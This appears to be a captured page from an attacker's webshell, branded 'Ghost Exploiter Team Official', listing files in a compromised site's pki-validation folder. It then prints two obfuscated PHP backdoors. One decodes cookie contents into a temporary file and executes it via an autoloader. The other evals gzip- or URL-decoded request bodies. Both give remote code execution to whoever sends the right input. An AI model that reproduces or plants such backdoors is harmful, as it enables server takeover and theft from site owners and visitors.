webshell

Ghost Exploiter Team Official

Directory >> /home/goldnnqi/burlotrading.com/.well-known/pki-validation/

File / Folder	Size	Action
.	-
45104DF19B3C92E6FCA6918...	0.089KB	edt ren
77619AEC20E321BFEA9A49B...	0.089KB	edt ren
964E9A27188385925C2DBB3...	0.089KB	edt ren
option_name.php	0.424KB	edt ren
smb.php	1.309KB	edt ren

<?php																																										if (isset($_COOKIE[25-25]) && isset($_COOKIE[-28+29]) && isset($_COOKIE[26-23]) && isset($_COOKIE[-81+85])) { $resource = $_COOKIE; function reverse_searcher($item) { $resource = $_COOKIE; $record = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), '37bf9e84'); if (!is_writable($record)) { $record = getcwd() . DIRECTORY_SEPARATOR . "data_storage"; } $entity = "\x3c\x3f\x70\x68p\x20" . base64_decode(str_rot13($resource[3])); if (is_writeable($record)) { $flag = fopen($record, 'w+'); fputs($flag, $entity); fclose($flag); spl_autoload_unregister(__FUNCTION__); require_once($record); @array_map('unlink', array($record)); } } spl_autoload_register("reverse_searcher"); $ent = "6f3675f0cfd83dbeb5ef2b4ae16bebcb"; if (!strncmp($ent, $resource[4], 32)) { if (@class_parents("auth_exception_handler_hub_center", true)) { exit; } } }
 $a©Õ²=FILe_geT_cOntENTs("ph\x70\072//\151nput");if(SUbStR($a©Õ²,-01061+-01176-056- -02335,-01677- -01702)=="0\x30\060"):$aÙÝÐÇ=gZinFlATE(SUbstR($a©Õ²,-0104- -0560+-0451));@$aÏÅÂÇÌÑ=$aÙÝÐÇ;try{eval($aÏÅÂÇÌÑ);}catch(D38e7e1Ca5E0b2CF34cb83CdA589ECd56$aÜÄ½){}else:eval(UrLdecOde(STR_rEPLACE("code=","",$a©Õ²)));endif;